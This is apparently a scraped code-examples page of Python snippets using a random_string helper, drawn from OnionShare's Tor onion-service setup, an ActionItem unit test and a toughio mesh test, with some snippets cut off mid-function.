slug = helpers.random_string(16)
download_count = 0

stay_open = False


def set_stay_open(new_stay_open):
    global stay_open
    stay_open = new_stay_open


def get_stay_open():
    return stay_open


def debug_mode():
Example #37
0
    def start_hidden_service(self, gui=False, tails_root=False):
        if not self.port:
            self.choose_port()

        if helpers.get_platform() == 'Tails' and not tails_root:
            # in Tails, start the hidden service in a root process
            if gui:
                args = [
                    '/usr/bin/gksudo', '-D', 'OnionShare', '--',
                    '/usr/bin/onionshare'
                ]
            else:
                args = ['/usr/bin/sudo', '--', '/usr/bin/onionshare']
            p = subprocess.Popen(args + [str(self.port)],
                                 stderr=subprocess.PIPE,
                                 stdout=subprocess.PIPE)
            stdout = p.stdout.read(22)  # .onion URLs are 22 chars long

            if stdout:
                self.onion_host = stdout
            else:
                if p.poll() == -1:
                    raise TailsError(o.stderr.read())
                else:
                    raise TailsError(strings._("error_tails_unknown_root"))

        else:
            if self.local_only:
                self.onion_host = '127.0.0.1:{0}'.format(self.port)

            else:
                # come up with a hidden service directory name
                hidserv_dir = '{0}/onionshare_{1}'.format(
                    helpers.get_tmp_dir(), helpers.random_string(8))
                self.cleanup_filenames.append(hidserv_dir)

                # connect to the tor controlport
                controller = False
                tor_control_ports = [9051, 9151]
                for tor_control_port in tor_control_ports:
                    try:
                        controller = Controller.from_port(
                            port=tor_control_port)
                        break
                    except SocketError:
                        pass
                if not controller:
                    raise NoTor(
                        strings._("cant_connect_ctrlport").format(
                            tor_control_ports))
                controller.authenticate()

                # set up hidden service
                controller.set_options([
                    ('HiddenServiceDir', hidserv_dir),
                    ('HiddenServicePort', '80 127.0.0.1:{0}'.format(self.port))
                ])

                # figure out the .onion hostname
                hostname_file = '{0}/hostname'.format(hidserv_dir)
                self.onion_host = open(hostname_file, 'r').read().strip()
 def test_title_2_with_long_description_with_default(self):
     description = random_string(1000)
     actionitem = ActionItem()
     actionitem.description = description
     assert actionitem.title() == description[:140]
Example #39
0
def test_mesh(nodal_distance, bound, coord):
    # Create 3D mesh
    dx = numpy.arange(3) + 1
    dy = numpy.arange(4) + 1
    dz = numpy.arange(5) + 1
    mesh = toughio.meshmaker.structured_grid(dx,
                                             dy,
                                             dz,
                                             material=helpers.random_string(5))

    idx = numpy.random.choice(mesh.n_cells, mesh.n_cells // 2, replace=False)
    mesh.cell_data["material"][idx] = 2
    mesh.field_data[helpers.random_string(5)] = numpy.array([2, 3])

    idx = numpy.random.choice(mesh.n_cells, mesh.n_cells // 2, replace=False)
    boundary_condition = ((
        numpy.random.rand(mesh.n_cells) < numpy.random.rand()).astype(int)
                          if bound else numpy.zeros(mesh.n_cells))
    mesh.add_cell_data("boundary_condition", boundary_condition)

    parameters = helpers.write_read(
        filename="MESH",
        obj=None,
        writer=mesh.write_tough,
        reader=toughio.read_mesh,
        writer_kws={
            "nodal_distance": nodal_distance,
            "coord": coord
        },
        reader_kws={"file_format": "tough"},
    )

    # Check block ELEME
    assert sorted(mesh.labels) == sorted(parameters["elements"].keys())

    materials = [
        parameters["elements"][label]["material"] for label in mesh.labels
    ]
    assert mesh.materials.tolist() == materials

    volumes = [
        parameters["elements"][label]["volume"]
        for label, bcond in zip(mesh.labels, boundary_condition) if not bcond
    ]
    assert numpy.allclose(mesh.volumes[boundary_condition == 0], volumes)

    volumes = [
        parameters["elements"][label]["volume"]
        for label, bcond in zip(mesh.labels, boundary_condition) if bcond
    ]
    assert numpy.allclose(mesh.volumes[boundary_condition == 1] * 1.0e50,
                          volumes)

    centers = [
        parameters["elements"][label]["center"] for label in mesh.labels
    ]
    assert numpy.allclose(mesh.centers, centers)

    # Check block COORD
    assert parameters["coordinates"] == coord

    # Check block CONNE
    nx, ny, nz = len(dx), len(dy), len(dz)
    lx, ly, lz = sum(dx), sum(dy), sum(dz)

    isot_x = [
        v["permeability_direction"] == 1
        for v in parameters["connections"].values()
    ]
    assert sum(isot_x) == (nx - 1) * ny * nz

    isot_y = [
        v["permeability_direction"] == 2
        for v in parameters["connections"].values()
    ]
    assert sum(isot_y) == nx * (ny - 1) * nz

    isot_z = [
        v["permeability_direction"] == 3
        for v in parameters["connections"].values()
    ]
    assert sum(isot_z) == nx * ny * (nz - 1)

    interface_areas = [
        v["interface_area"] for v in parameters["connections"].values()
    ]
    assert (sum(interface_areas) == (nx - 1) * ly * lz + (ny - 1) * lx * lz +
            (nz - 1) * lx * ly)

    angles = [
        v["gravity_cosine_angle"] == 0.0
        for v in parameters["connections"].values()
    ]
    assert sum(angles) == sum(isot_x) + sum(isot_y)

    angles = [
        v["gravity_cosine_angle"] == -1.0
        for v in parameters["connections"].values()
    ]
    assert sum(angles) == sum(isot_z)

    if not bound:
        xmin, ymin, zmin = mesh.centers.min(axis=0)
        xmax, ymax, zmax = mesh.centers.max(axis=0)
        distances_ref = (ny * nz * (xmax - xmin) + nx * nz * (ymax - ymin) +
                         nx * ny * (zmax - zmin))
        distances = [
            v["nodal_distances"] for v in parameters["connections"].values()
        ]
        assert numpy.allclose(distances_ref, numpy.sum(distances))
Example #40
0
REQUEST_LOAD = 0
REQUEST_DOWNLOAD = 1
REQUEST_PROGRESS = 2
REQUEST_OTHER = 3
q = Queue.Queue()

def add_request(type, path, data=None):
    global q
    q.put({
      'type': type,
      'path': path,
      'data': data
    })

slug = helpers.random_string(16)
download_count = 0

stay_open = False
def set_stay_open(new_stay_open):
    global stay_open
    stay_open = new_stay_open
def get_stay_open():
    return stay_open

def debug_mode():
    import logging

    if platform.system() == 'Windows':
        temp_dir = os.environ['Temp'].replace('\\', '/')
    else: